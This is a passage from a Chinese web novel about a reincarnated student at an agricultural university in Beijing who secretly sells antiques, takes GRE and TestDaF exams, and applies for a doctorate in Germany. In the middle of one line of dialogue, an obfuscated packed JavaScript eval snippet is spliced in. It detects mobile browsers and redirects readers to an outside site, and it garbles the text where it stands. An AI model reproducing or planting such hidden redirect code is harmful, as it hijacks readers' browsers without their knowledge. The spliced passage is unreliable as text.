“之前你二姨都没问到你表哥电话,居然先问你的成绩,一听529笑得前仰后合。我当时就挂了电话。然后,刚才我给她电话,她一句话不说就挂了。”苏辰娟边说边笑。 苏茜也笑。“对了,妈,我打算报京城农大。”京城重点本科里分数最低的那一拨。 苏辰娟笑不出来了。 “农大!你要去当农民?!”她差点尖叫。 “当个能赚钱的农民。我看中他们的国际合作项目。”苏茜指指这段时间出去上网“搜索”到的资料,她还特意做成文档、找文印店打印出来。三十几张纸,挺厚的一叠,大部分是外语、各种语。 秦健也凑过来。他的阅读水平目前是大学英语六级,考了65分、算是通过了。“反正就是你看中全球排名第一或者第二?” “对。其他专业第一第二的名校我肯定考不上,也上不起。这个农业科技说不定能成。”然后苏茜就科普了一通有机蔬菜的种植和销售价格。“……国内肯定无法接受二三十块一斤的生菜,即使可以冲一下自来水就生吃也不行,国外这类菜也不算便宜,但还是有很多人买。” “欧元汇率是多少来着?” “大部分时候比美刀贵,比英镑稍微便宜点。其实吧,物价水平大概也是这样的,不过本地产的总是便宜一点,特别是乳制品、牛肉之类不比国内贵。”她知道大概四百年的物价变迁,中外都有哦。 “……” 等报上志愿,班主任眼皮子都不眨的,显然见多识广。 焦虑了两周,分数线全部出来。 苏茜居然比学校的分数线高出不少!她的园艺专业八成把握,再不济调剂下绝对可以。呵呵呵呵! 杜仟俪还有班上两个前二十名的同学,当时都用谨慎的态度填志愿,现在应该都能被分数线原本就不高的第一志愿录取了,大家加起来打了起码四个小时的电话,最后还约出去喝茶,结果因为没搞清楚那家麻将茶馆的经营范围而悻悻地去了肯德基喝咖啡。 再过半个月,通知书到了。 苏茜高高兴兴地准备行李,要带的书干脆放岛上,并且拒绝老妈带她去逛街买“漂亮裙子”的建议。“……先军训,然后北方的天气就凉了,不需要夏天的衣服。倒是毛衣得带两三件,防晒霜和缓震鞋垫得备上。” 等拿到园艺专业的录取通知书,说统一采购铺盖等等,她两个行李箱和一个背包都备好了。 因为秦健也开学,这次是秦国栋请了假一个人送闺女上学。因为京城毕竟远。坐了一夜半天的火车,虽然还是二等座,秦国栋有些面无人色,而苏茜还不错,还很有兴致地问列车员买了“最新”地图。 到了京城,苏茜强势先去找家地铁直达的旅馆,两个人洗洗睡睡到第二天才恢复,提了行李箱退房出门,吃点东西后乘公交去学校报道。 苏茜太久没上过大学,不等于不知道大体流程。她让老爸看行李,自己一路跑手续领卡,都不需要学长带路——学长的人手也不足,何况她又不是大美女——两个小时后就拉了箱子按照地图和学生指点去宿舍。 八人间,没啥可期待的。 宿舍里已经来了三个同学,一个是父母都在,一个是老妈,一个是老爸。秦国栋自然而然加入家长群。 只有苏茜和另一个韩时莉是蔬菜系。 “我家两百多亩大棚,错一点都要赔钱,所以我就是想学点东西。”韩时莉偷偷跟新同学嘀咕。现在的农民可不是一人一亩半的年代。 “我想出国留学读博士。”苏茜也跟她小声说。 韩时莉差点尖叫,女博士!那可是第三性别!“我听说有跟荷国的合作班,你要不要转专业?” “不,本科学费还是太贵,而且没意思,本科生没法留在荷国工作。” “哦哦!”明白了,想出去,技术定居的那种。而且,三四十万都拿不出来,家里肯定也是普通人家。“那你也要努力啊!” 苏茜跟老爸去食堂吃饭,再买个寻呼机。下午秦国栋就得回去了,后天上班。 “有时给家里打电话。”秦国栋把买好的两百块电话卡给女儿,每周一个电话是底线。“我争取明年给你买个手机,方便联系。” “不用,我不要手机,上课的时候又不能带手机和寻呼机,走在外面还怕偷。图书馆和教室不方便说话。有事寻呼机留言就行。” “你这孩子……”闺女坚持跟哥的生活费一样,一个月五百,真的很低。他的同事们独生子女的给一千到一千五,两个孩子的基本给八百到一千。秦健是天天想着父母给买了房子已经尽全力了,而闺女直接跟她哥看齐,绝不搞特殊并且拒绝买房——在打听过后,他们发觉是真的买不起京城的“小”房子。 苏茜送老爸出校门后没有回宿舍,而是在一个快要拐弯、没有摄像头的地方回自己的小岛,将陆陆续续整理出来的“古玩”全部分类摆放在无法住人但能放瓷器的木屋里,明中晚期为主,少量是宋的。至于银锭和铜钱则没动,换了个老式木头箱子放进去。因为没什么重量级珍品,这上百件瓷器的价格不好说,估计只够申请大学的费用和第一年的生活费,还要准备好完整的“传奇故事”,一点漏洞也不能有。因为数量太多反而不好出手,所以她得去摸摸行情,看哪些值钱,而且最好分开出货。 现在的手机无法拍照,数码相机还要用软盘,一切只能靠脑子和笔记。 八人宿舍里,四个是蔬菜系的,其中两个家里有大棚,一个家里做蔬菜生意。班上女生也不少,有的是能找到工作岗位,有的听说这个考研把握大,有的是调剂过来的。最奇葩的一位,跟男朋友填了同一个志愿同一个专业,结果男生去了专科,她考上了。 想留学的好像就她一个? 所以别的同学问她为什么选这个系作为第一志愿时她答:“我就想种有机蔬菜自己吃,那种可以直接放嘴里的。” “啊,蔬菜我从来不生吃,不过有些我直接采下来吃的。”有个胖胖的男生道。 好些女生望过去,他有些脸红,接上一句,“比如苹果啊,草莓啊。” “别直接吃,特别是草莓,多少都有农药残留、细菌、灰尘、寄生虫、微生物,只比直接吃杨梅好一点。苹果也是,除非你确定没有打农药,而且还是要用干净的水冲掉表面的灰尘。”苏茜建议。 “杨梅?不能直接吃吗?” “杨梅不用盐水清洗的话,”苏茜顿了下,“会吃下去很多小虫子。如果可能,最好用超声波清洗。当然白酒杨梅绝对没有虫子,还能治受凉引起的拉肚子,但吃坏东西或者病毒、细菌引起的拉肚子就没有用了。” “啊,还有病毒引起的拉肚子吗?”拜去年的传染病所赐,没有哪个华人不知道病毒和病菌和区别。 “很多啊,比如感冒病毒、诺如病毒、轮状病毒,都很常见。以现代的医疗条件,大部分不致命。” “……” “……” 第一天班会,好好的互相认识,演变成农药病毒和蔬菜水果的歪楼话题。毕竟大家开始对健康前所未有的关注——以后还会更关注的。 苏茜上课的时候确实很认真。在没有功课的周末则全部跑去各个市场包括夜市。 “三百一个,一口价,我都收,行不行。” 摊主的功夫了得,苏茜直接将几十个碗连箱子一起给了对方。这是当时很常见的出口款,没有惊天动地的落款,只有窑的名字,她还有大半箱子——半人高的那种大木头箱子,上百年时间照样结实不变形不腐烂,就是漆不行了。验钞小手电抽着验了,抽出来的都是真钞,所以她干脆利索地走了,去逛别的摊位,但实际在黑暗处回了一趟岛,再换件厚棉衣和鞋,加顶帽子和手套,最重要的是推了自行车出来,骑回学校,正好赶上早饭。好在都是市区,不算特别冷。 这是军训后的第二趟出货了,得了两万零几百。其实仍然是贱卖了,文物商店里的能卖十万出头,但可能需要卖个两年。 苏茜去另一家银行开个活期账户,每月存不同的金额进去,看起来像是节省下来的打工费和家里给的零用。但在同寝室姑娘的眼里,她仍然很寒酸。 “ZI生堂的不算贵啊。”嗯,她家可不止两百亩大棚哦,还有六辆货运卡车和一家包装材料工厂,只不过她过得还是很“节俭”的,毕竟全年一年的收入只够在学校附近买一间破平房——问题是她家已经买了,但她死活不会去住那个只能上五十米外公共厕所的小房子,虽然宿舍也是公厕。 “但我是混合性皮肤,颧骨很干,鼻子出油,必须彻底清洁,然后立刻滋润。你看,我冬天甘油和水是一比一,夏天是一比一点五。”爽肤水是跟做小生意的同学买的,正品本来就不贵,倒是有可能是真货。“不过出油的地方和干的地方用的水不一样,一个用玫瑰柔肤水,一个用金盏菊爽肤水。” “……”韩时莉看着她桌上化学实验级的“工具”,顶无语的。她是用一个月的零花去专柜买整套名牌保养品,另一位戴同学会用一个月零花买一件内衣,而这位苏同学是一个月零花做化学实验? “听说大二的时候我们能住宿舍楼,有卫生间,上面是床,床下是书桌。夏天还有空调!”京城市区的夏季很热的! “啊,确定大二能住吗?”公共浴室真的不那么让人愉快,尤其是夏天,去排队几个人一个水龙头呢还是宿舍里擦身呢。 “不是已经封顶了,你们没去看吗?” “呃,会不会到时候甲醛超标?” “那么多学生呢,出了事情谁受得了?肯定不会很严重!” 苏茜则是无所谓。她现在睡上铺,没翻下来就算好。现在第一要点是期末考试,第二是能不能走之前再卖一笔。 大一上学期就不要指望学得多专业,但班上居然有好几个准备考GRE的,更多的人则是直接跳过英语四级、下学期考六级。苏茜本来没打算考GRE,但是借了本书拿着在去潘家园旧货市场的路上看,看着看着,觉得考一个也无所谓,也就是出一笔考试费是吧!还有德语的德福考试,要不都考了得了,免得班长还来问自己为什么不报德语基础班——她当时用德语跟荷语说了一堆,反正对方再也不提这事。 看来京城的大学藏龙卧虎啊! 期末考试成绩出来,苏茜比较了下,中上,没有奖学金的希望,但几门专业课的分数很好看,拿回家正好。另外,挑出来扛着走了无数路的一只梅瓶居然才卖了十一万,差强人意。 她气得去报了下学期的德福考试,这个消息没有同学知道,因为她一时没找到模拟题集,不知道会考成什么样子。 “古玩”卖得的现金一半都存进了自己的账户里,看起来并不像是能去留学的金额,所以苏茜没跟家里说。辗转两天才到家,家里人心疼坏了。 “下回要不坐飞机回家吧!” “爸,学校里只代买火车票,而且同车厢有好几个校友,也比较安全。”最后那个纯属扯淡,因为下车时有个女生被偷了钱包,她却只愤怒地重复说有人碰了她一下,却不知道发动大家去逮人。苏茜没钱包,也没带什么钱。 秦国栋叹息着,赶着闺女喝茶休息吃水果,等着吃晚饭就行。 秦健今年拿回来的成绩单挺好看,通过了英语六级,还拿到三等奖学金。 “六级你考了多少分?” “80。”还不错,是吧?! “哦,我下学期考吧。” “直接考六级啊?” “对,省得浪费时间。”要不是上学期没有组织报名,她早就考掉了。这样也好,下学期几门都去考一考。 “……”他忘记了妹妹的外语“天赋”。 新年的时候,二姨说是身体不好,没参加家族聚餐。她儿子去年考了不到400分,直接复读高三。 倒是三姨问了很久。她闺女读文科,与秦健苏茜不是一个学校,不分重点和普通,但在班上也就是中等,很难说能考上什么学校。 “我那一届不正常。当时数学卷子拿到手我懵了。听说是拿了备份的卷子……今年还有以后我觉得不会这样了。文科我不熟悉,但必须了解时政,不然写不出来的吧。”表妹艺考,但还是要考文化课的。“不过,艺术专业,还是别大学就留学,真的,国外不像国内管得那么严,大.麻还有不少毒.品是很常见的,参加聚会就可能要吸这个,不参加又显得不合群。” 三姨母女被吓坏了。 “我不是危言耸听。听说美丽国有的州已经在讨论要不要合法化了,有的农场主打算雇佣华籍工人种大.麻。女孩子还有别的危险我就不说了。”真事,还有谋杀案。 “……!!”整个屋子的人都是震惊脸。 “太危险了!” “研究生自控力会好一点,也更有判断力。十几、二十岁的学生,初来乍到,周围人做什么都会跟着,不然会觉得被同学朋友们嫌弃。”被拉着成瘾还不是最可怕的,可怕的是为了毒.资去拉其他熟人下水。更不要说其他各种不安稳的因素,比如流弹或车祸,女孩子未婚先孕和性.病都是麻烦事。 三姨当即决定,自家单纯鲜妍的闺女一辈子都不能去那些可怕的地方! 苏茜没管别家的事。她跟秦健聊了下实习和就业方向,觉得自家哥还是理智的,就没多问——问了也帮不上忙。 在家也就呆了不到三周,苏茜比秦健早两天走。 她要去报名,然后再找点参考资料。 然后在资源学和防疫学的考试之前拿到成绩,六级优秀没话说,德福的笔试口试都通过了,而GRE居然连1900分都不到! 所以,自己是托大了?! “你居然一直自己手洗衣服!”室友们见到苏茜桌上的洗衣粉浸泡时间沙漏漏完,然后放下东西准备去洗衣服。 “是啊,挺简单的事情,送去洗衣房也不知道跟多少人的衣服一起洗。他们又不会加消毒液。”而且宿舍窗内侧可以晾衣服,北方天气干燥、很快就会干。 “……她居然定时二十分钟去漂洗。” “……好像洗衣粉的最佳浸泡时间是二十到三十分钟?太短效果不好,太长损伤衣服。嗯,水温不能太低也不能高过40度,所以她冬天都是只加一点开水。” “……真……” “不过她的羽绒服和棉衣是拿出去洗的。” 废话!谁不是 “哦,对了,这次我的高数分数很难看。” “你打算考研的话不行吧?” “好像我们这个专业考研不需要考数学。” “……” “……” 离开洗衣机,确实不太便捷,但好在衣服不多,积着几天洗一次就行,还能跟寝室其他同学错开。她不考虑浪费钱租房,偶然回岛上更没条件:别说发电,连木屋木床土灶台土烤炉也都不能用了,但总算添置了几只煤炉和两只小卡斯炉,以及一个折叠钢丝床,还有床垫席子被褥和备用衣服,以及几叠钞票——好少好少,才值不到两万欧,还得找到兑换的法子。 兑换这种事以后再说。就是GRE成绩怎么看怎么难看,前五十的学校专业没指望的那种,加上没有NGO的经历之类……还是按原计划去欧洲吧。拿了这几个考试成绩会好很多,是吧?可欧洲有的学校也看美国的研究生入学考试的啊! 她叹气又叹气,打算去问班上几个考GRE的同学有什么参考书。听说他们的目标是康大,大家大洲都不同,不存在竞争,是吧! 就在准备收拾行李回家的时候,寻呼机消息和信件同时表达了一个意思,外公摔跤骨折,家里租了个一楼空调房,地址如下…… “!”苏茜冲下楼,狂打电话,终于打通老妈办公室电话。 苏辰娟只简单地强调了下外公其他正常,现在躺在一楼有空调的新住址还需要修养三个月,家里还买了个轮椅可以推到就诊的医院去,其他的没多说。 苏茜想了下,将自己卡里的大部分资金都取出来,连同其余的现金都存进爸妈给自己办的生活费学费卡里——真庆幸当时选的是营业部隔壁的银行,现在操作无比安全方便。是时候告诉家人自己“捡漏”的故事了! …… “所以你其实在夜市里买到的是真的青花瓷?古董?” “古玩。赚了差不多十七万。对了,我考出来六级还有GRE,就是GRE分数不高,明年再考一次,另外也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108588|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试试德福,DSH就是德语托福。” “!”连轮椅上的外公都呆了。其实他们在犹豫是否在京城买个五环的小小房子……现在?直接去渝城吧!好地段的三室两厅买不了,普通地段的两室两厅还是可以的,只要距离医院和商业配套近。看这两个孩子,起码小茜铁了心要出国,而小健未来不知道在哪里,所以不要求学区房,自然可选择的余地更大。对了,他们通过人脉,小地震颇多,这一点让大家心惊胆战的,俞凤英差点就要让大女儿提前退休了,可还有两个女儿怎么办……但话说回来,这里真的会震吗?震塌? 苏茜即使知道也不会回答这个问题,而且她真的不知道。 新居是三室两厅改的四室一厅,秦健住隔出来的中间房间、唯一的窗是通厨房的,苏茜住最小的房间但有个小窗,两个房间都有小吊扇。唯一的立式空调在客厅,外公外婆住正对着空调的卧室,方便度过难熬的夏季。 “你考虑考研吗?”苏茜拍拍老哥的肩。 “考虑。所以我一直在看书。我这个专业,最好是硕士,我可能选城市规划设计或者产品设计吧,到时候看招生情况还有导师。” “好。你不用管我哈,我可能即使出去了一时也顾不上你,怎么也要工作了才能赚到钱。” “行了!你居然冒风险混鬼市,真是……”汗颜,他还需要家里解决研究生的生活费,但妹妹居然已经在自己搞定出去的费用。十七万虽然不多,可也不算少了,反正有一次“旁听”中介机构忽悠人,“只要”十万的预科学校费用就能出去留学。连他都觉得不靠谱。 “其实我是想淘些摆设或者有意思的礼品,到时候带出去也体面。没想到真的捡到漏了。”其实是贱卖了。她可都是实打实的真货!就是数量稍微多了点,看上去像那个地窖底下忘记带走的东西,更甚者是赝品,于是显得不那么值钱……好在她手头有其他不错的单品,正在寻找类似的做参考。另外还需要买几件新的衣服鞋子和假发,配合新的妆容,戴上首饰存货。 “对了,你千万不要找中介!他们都是骗人的,我有一次送东西,偶然听到中介跟一个只考上大专的女生和她的家长介绍去德国留学的事,天花乱坠,一听就有问题。说只要一年考出来你说的那个语言考试,就能免费读大学。边打工边读书,将来还有机会留下来。” “那个女生英语如果不好的话,一年很难读出来,而且这个考试不能多次考。” “所以很可能就是到时候灰头土脸地回来,这边没毕业,那边读不了?!” “对。不过我不是这种情况,不需要读预科,到时候会直接申请。”她已经在找那边对口的专业课程了。 “哦……我去洗澡了,还是你先洗?” “你先。” “好。” 这个年代,出国是好事,何况家里还有长子,出去的是小女儿。只是家人都没对外说,八字还没一撇呢!君不见GRE考了2200的也不是各个都能留学,这不还有奖学金问题。至于德福,这是另一门语言! “苏茜,有人看见你的名字在德福通过的名单里,不过不知道是不是你。” “是我。”苏茜将家里带上火车一路带来学校的折叠行李拖车放在门后,“我带了个拖车,这样搬家的时候方便些。大家轮流用,不用多买。” “好呀好呀!” “德福?不是托福吗?”另一个脑袋从窗帘里伸出来。 “德语的托福。英语的我前年考过了,分数不高。德语的是今年考的,反正通过了。” “啊!你还会德语?!” “是啊,我上学期桌上不是经常放着。” “……没注意。”看着字母就头疼。糟心的六级哟,上学期居然考个58!还要再考一次。 “你托福多少分啊?” “620。” “哦!”好像,确实不高。“不过你是高中时候考的?” “对。” “那很厉害了。” 苏茜无言。她同校同学都有高中时分数更高的……继续打包干活。 其他人,不知道用什么表情包,干脆闭嘴。 这个周末开始大家陆续搬宿舍。有发纸箱,但数量不多,八人寝室才“抢”到八个纸箱。不过无所谓,大家都有行李箱。 “钥匙谁去领了?” “我我,我这有两把,你们谁要。” “放门后这个位置吧?谁需要先搬就搬过去,拖车也在这里。” 苏茜的东西不算太多。她要么在学习,要么在洗衣服整理东西,这个学期开学到现在也没有成功出货。不到两万欧元的资金还是不太够啊,现在又不像以前,直接将银砖劈开就能用。但话说回来,以前的以前可没有工业,没有科技,没有大学,一百年前也没有女性自己出国留学这种事——很久之前的那些自己没有裹脚,纯属家贫且不受重视。 看来只能到那边再找机会出些贵金属了。 寝室里陆陆续续到假期结束才彻底搬完,留下一个满地垃圾杂物的八人间。 她们八个人分到两个六人间新宿舍, “我们还是在一起!”韩时莉抱住苏茜肩膀。跟刚开始有几个室友将苏茜视为未来的竞争对手不同,她第一个知道这位同学的目标与大家都不一样,所以始终很真诚,至少在小事上没有保留。 “是啊!”苏茜也回抱。 新寝室面积比原来的大,有卫生间,有内阳台,有独立的书桌,就是洗澡仍然要去其他楼层。另外,楼层在九层,爬楼梯不太轻松,多数时候还是等电梯。 “有冷空调吔!” “这个时间已经关掉了,现在只能吹风。”大家听了听噪音,觉得还行。“冬天应该吹暖风吧?” “对!其实就是吹出来的暖气。” 六个女生仍然在归整东西,积极的准备添几样装饰物。 苏茜啥也没添,倒是扔了些东西,另外拖车还是放在门后,需要拿东西的时候用,比如扔垃圾和发新书。 “……我感觉卫生阿姨看我的眼神像是看败家子。”刚用拖车一口去扔掉两大包去年过气衣服的家伙一屁股坐下。她坐的椅子是自己买的,制式凳子则作为垫脚凳。 “她估计是准备你走了以后她好拿走。” “能回收也是好事。环保。” “对了,苏茜,昨天的笔记你记全了吗?” “这个?” “好!谢谢亲爱的!” 苏茜的字迹相当不错,不管是哪一种语言,甚至还会毛笔字! “会毛笔字”的苏茜如果知道了同学们的想法,会呵呵冷笑:自己曾经花了几十年时间练的字,就成了区区毛笔字!但她也确实明白自己是照着印刷本写的,根本称不上书法!所以上周她将“古代”书籍全卖了!绝对是保存良好的古代真品,可惜一大摞大几十本才卖了不到一万欧元。 自己的积蓄大概够荷国瓦大一年的研究生学费加略拮据的生活费。还是只能“回”去德国啊,那个七年战争时筋疲力尽而没有活过十六岁的普国平民的自己……但现在已经没有战争了、很和平,“最多”有些暴.动啊骚.乱啊杀手啊什么的,跟美丽国相比仍然差一截,她一点不带怕的! 本科想搞什么科研是笑话,光是一个生菜就够写一大堆硕士论文不带重复的。苏茜也不管有机栽培的课程什么时候开始上,而是自己泡图书馆里找化学、光学、虫害、病毒、细菌、真菌等等的资料,再自己做成表格,一项项填空,并加上注解出处。找到哪项是哪项,慢慢壮大自己资料库的同时,毕业论文也在逐渐成形。 论在商业超市里无土栽培有机蔬菜的社会经济可行性。 嗯,不仅解决棚栽蔬菜对二氧化碳的需求,同时解决超市里空气质量不佳的问题,不过每天定时检测是必需的…… 至于实习的问题,申请学校的问题等等,大四时再说吧!先让她重考个GRE! ……2098分。 比上次的1899分高很多呢!排名五十的学校应该没问题吧?哦,她又不去申请那些学校! 到此为止吧!她真不是考试的料! “你去考了GRE?”班长过来小声嘀咕。 “2098分,反正不可能跟你做竞争对手的,放心!我考了德福,不去美丽国。” “……我也考了德福,没通过。” 苏茜耸耸肩。“这个就是花时间精力,没其他捷径。你没看我连奖学金都拿不到,都砸在语言上了吗。” 只比苏茜高几公分、引体向上个数也不如的班长默默走开。这家伙难道忘记了自己还考了GRE?! 但是苏茜的专业相关课程成绩都不错,平均85,没有80、良以下的难看分数。这是申请专业的底气,不能放松!何况专业的东西多学些是好事。 另外,入冬了,得去卖菜的超市看看物价和新鲜程度作参考。另外,她自己也可以上手试试喜爱的蓝莓。嗯,品种还真不是她能选择的,而是看能买到什么种子。至于地点倒是个问题……农艺园?试验田?研究院?哪一样都不适合一个蔬菜系大二学生去搞。 还是在自家岛上种了自己吃吧。 话说,现在的海鲜怎么辣么贵又不新鲜?! 吃了外头卖的烤鱿鱼居然腹泻的苏茜郁闷地吃了三片黄连素,然后跑回自己地盘赶海。 啊!好多鱼!好多贝壳!好多好吃的!都不用在冬天浸海水,就能捞起不少吃的。苏茜开开心心在岛上用煤球炉和海水直接煮“原味”海鲜吃。滤水池需要清理重建,水缸等等都要换新的。铸铁炉虽然称不上垃圾但烟囱管道废了,没有切割工具根本搞不定。目测重建岛上生活设施包括电力的话,费用超过自己明面上的全部积蓄,必须动用“老本”。更不要说一大堆搁浅的破烂木船,一时也找不到地方“中转”到海里扔掉,而砍成柴禾的力气还不如买一筐煤球呢,何况砍成了木柴都没地方烧! 留着以后处理吧,说不定哪天自己能“找到一艘古代沉船”呢! 40.种菜要专业(五) 岛上山洞里的水培生菜快死了。苏茜用显微镜和几种化学试剂都找不到病虫害,而检测仪器太贵买不起,只能直接埋进土里,然后回头边翻书边在宿舍里继续水培——化学“营养剂”和种子水盆等等不用也是浪费。会不会是岛上二氧化碳低导致的呢? 结论仍然是不行,因为不知道谁倒进去杂质水,菜苗两天就不行了。 苏茜歇了自己试验的心思。 倒是更坚定了毕业论文:人多使得二氧化碳多,到处是监控不怕人倒杂质,随时监测空气水质温度,还能同时用人工和自然采光,以及根部流动的水带来泵入的氧气……另外就是大家即使图新鲜随手买一点昂贵的菜回去也能实现经济价值——附赠超市经济理论若干。 应该行了吧,本科阶段的论文还要如何高深?她有条件做几年试验嘛! 一边思考论文、学校、专业、生活费问题,苏茜一边跑到第四圈。哦,一千五百米,差不多了,再长对膝盖也不友好。她慢慢放松腿部肌肉和呼吸,然后去双杠那里臂屈伸训练上肢力量与平衡。 看得周围男生女生眼抽筋。 因此非常遗憾的,苏茜虽然不丑不穷不笨,但在学校里没人追,即使在号召同学们勤加锻炼的农业学校也不会有书生喜欢女力士。 “你平时要不要化个妆什么的?”韩时莉即便到时会回家乡,也不妨碍她交个男友提前去食堂打菜。同学兼室友除了平时跟几个高中同学信件往来,连网吧都很少去,不看小说漫画,不交男朋友——女朋友也没有——搞得跟高中考生没区别。 “浪费时间,浪费钱财。”苏茜继续在看化学书,然后在一个大本子上刷刷写着别人看不太懂的连串字母。她在寝室里看的书都是与平时学习考试有关,其他人认为她都是在图书馆和教室里看外语书。 “……你就别鼓励她找男朋友了。没看班上那些男生没几个引体向上拿满分的就知道,都是弱鸡,出国也找不到女朋友。”戴佳不仅是健身达人,还上跆拳道班——班上超过一半是女生,真是让人无语的现实。八块腹肌可比文弱书生吸引人多了! “是啊是啊,还得跑回来相亲,TM什么野鸡大学还一口乱七八糟的中式英文,留学个P!”改变主意正在看考研书的吴梅丽前几天被紧急“召回去”,还以为家里出了什么事,原来是个野鸡来“选妃”!她当场用街头英语骂那家伙的祖宗八代,其他人都听不明白她的用词有多刻薄,估计对面那位也不是特别清楚。然后她还特别跟家人强调,这人口语绝对不像是美丽国的大学生,很可能是诈骗犯,专找老乡下手,务必要小心不要听对方的话投钱。家里的男女老少各个都把钱看得比天大,一听她的话立刻警惕起来。 嗯,她们这六个室友,因为目标各不相同,只要不谈钱,都是好姐妹。 …… 秦健写信来,他自己找了个检测公司实习,同时继续在看书。 苏茜对这个行业不熟悉,但越专业越不容易被老板们轻易踢开,所以她回信建议老哥可以的话不妨考个职业资质。 不知道秦健有没有机会去考个证,不过苏茜这边倒是从天而降一个翻译接待任务。 有个欧洲访问团过来他们学院,希望有小语种。 班长将她报上去了。 “苏茜同学,你会德语?” “简单些的会话是可以的。本专业词汇也会些。” “你英语如何?” “可以沟通,蔬菜专业的,一部分农业相关的。” 东南亚英语口音、但表达不错的系主任直接挥手,“好,就你了!”欧洲人应该更喜欢偏英式的口音是吧。 等到了接待的日子,苏茜才知道对方母语到底有多少。但好在他们来自仨国,双语够用了。 “比如?我觉得用三种语言去记忆二十种十字花科蔬菜和草药的生长特点和常见的食用方式与烹饪方法就能消耗我两周的学习时间,超过100个小时。” “……还有草药?” “对,比如板蓝根,可以治疗感冒,尤其是病毒引起的感冒,放在沙拉里不是一个好主意,但可以用植物油炒,与肉片一起做火锅,混合鱼肉做成丸子,甚至制作饺子,有很多种做法,而且吃了对健康有好处,但是不建议每天吃。” “……”蔬菜系?对哦,怎么可能跟全球著名的华籍烹饪无关呢?!不过草药做的鱼肉丸子?那是啥味道啊……饺子,是那种意式饺子吗? 苏茜用两种欧洲语言解释为什么以她为“代表”的华籍学生“动手能力”一般。远一点的人还以为她在说英语。 “哦,苏茜,你会英语吧?” “当然!这是全球使用人数最多的工具语言,这个城市街头有一些职业乞讨者还会用英语打招呼:嘿,你好,给我点,对,票票吧!”手势神情加一口伦敦古典戏剧腔,让人目瞪口呆之后哈哈大笑。 一群中老年们心里暗骂自己的学生下属真没趣,都不会旁听两堂戏剧课让自己笑一笑。 两天任务完成,苏茜丝毫没有给自己老师同学们挖坑的自觉,自顾自继续看书笔记和找时机卖货,同时用几种语言手写自己的论文大纲和部分内容——需要申请哪里的学校就用上哪种,稿子都放岛上。 不过是时候练习中文打字了。 宿舍里有一台台式电脑,苏茜完全没有耗费人情跟同学借用,因为保存是个问题,电脑病毒是另一个问题。 她现在都是在网吧里搜索,用笔记录,有些干脆记录下网址。 对了,现在这个时候,手机价格应该降下来了吧?但去店里看了看,“古旧”机器和月租仍然要花掉两个月的生活费。虽然过几年会严重过时,但苏茜还是不得不买了一个,并将号码告知了家人。顺便将邮箱设置了手机号安全密码,这时才敢将电子档自己发给自己。 北方的春夏季白天可能非常热,但夜间大部分还能忍受。 秦健苦学两年,笔试面试都堪堪考上了本校的研究生,虽然专业不是他的首选,可仍然很高兴地发短信过来报喜。 “我哥考上了他们学院的研究生。” “啊,你哥是江大的吧?”学校还是不错的,尤其是非农业的学科。 “对。”选定,填写申请表单,签字。 “你要去曲县的农技园实习?” “是。” “那里条件不是很好,听说是真的下地。” “嗯,我知道。不下地不叫农业。” “记得买防晒霜,中午洗掉重新抹防晒。” “知道,谢谢!” “……” “……” 扔掉寻呼机换成手机后,家里对她去学校关联基地实习没什么抵触。六个女生的实习地点居然各不相同,大家考完期末考就开始收拾行李准备换地方。 …… “小苏!喝茶!” “好!” 苏茜一身户外速干衣裤和中筒靴,粗看与农田格格不入,但手上的动作是大棚里的年轻人中最娴熟的。灌下大半搪瓷杯的炒青清茶,继续弄完剩下的工作,总体风格就是不太搭又很和谐的样子。 而回到住处就是淋浴洗衣刷鞋,同时感慨一下要不是北方天气干燥,她得再多买两身衣鞋——反正有得是地方放,不用担心行李箱放不下。 住宿条件就别多想了,吃的东西居然还不错,尤其是不缺大棚蔬菜,天气渐冷也能吃到新鲜绿叶菜。 “苏茜,完全看不出来你之前没实践过。”最关键的是,这位从没呆过正儿八经的农村,都不知道无需测量就能精准挖坑浇水施肥的手法怎么练出来的。 “我还真没有做过。”这个身体,完全没有。“我觉得我是用化学实验的感觉来干活的。” “?” “!” “……” “对,就是化学实验,多少厘米,就用手指测,毫升和克数这个基本差不太多。”还有土壤的湿度和大概质量,这种手指头一碰就能知道。 其他实践的同学懒得听她继续凡尔赛,洗手,吃饭!在互相“督促”之下,每天起码四小时的工作是不会少一分钟的,休息吃喝上厕所——旱厕,算了不提了——跟技术员和农民聊天这些都是自觉地不算进去的,所以大家“出工”的时间通常近六个小时。 等大多数学生拿着不错的评语,少数如苏茜还被夸奖了番,顶着一张黑红的脸蛋回学校:是时候为下一阶段打拼了,不管是考研还是出国还是工作还是国考。另外,论文得考虑选题了,听说他们这一届论文抽查比例会增加! * * * “……首先,这里有大量工程技术资源,有机蔬菜并非把种子撒进土里就能解决的……第二,这里的消费者有绿色生活的习惯,可以做更加详细的实践……第三,这里在绿色能源、海水净化等方面卓有成效,而且在全球水资源匮乏的前提下,用并非完全净化的海水对蔬菜进行有效灌溉是一种对地球的责任……最后也是最重要的一点,从‘无夏之年’之后建立的学校有着悠久的农业技术教育积累……我不是来做农民,而是学习做一个特别些的农民。附件是我自己撰写、自己翻译的大学论文X语简略版……” 苏茜直接对照着全球排名写申请信。 明确的思路,但缺乏实践,更没有其他学科的技术支持,加上“过得去”的外语能力,最后居然有三个大学给了回复。 她期望德、荷,以及期望之外的美,不过美丽国的学费高且时间久,最重要的是那家大学是她预期排名里的最后一名。是不是自己GRE的成绩太低?她有些无语地礼貌回掉最后那家大学,然后在两个国家的目标大学之间犹豫了两个小时,原因就是荷国的那家全球专业排名特别高,还与自己学校有合作。最后她仍然被一个博士头衔打到,决定维持原计划,直接申请博士学位,而不是一年多以后还要等待哪家乐意雇佣她当博士研究员。 嗯,还有个原因,那个大学距离自己“曾经”有过的家园开车一个多小时就到——车速一百五十。 “你怎么不选瓦大呢?这样我们就能当同学了。”戴佳嘟哝着,但没敢大声嚷嚷。她费了好大的力气才申请到,不过花的钱倒不算多。 “因为霍大我是直接念博士的啊。” “那你拿到博士可以直接来荷国工作呢!” “我可能读五六七年,你那时搞不好去了美丽国?” “呃,可能吧。” 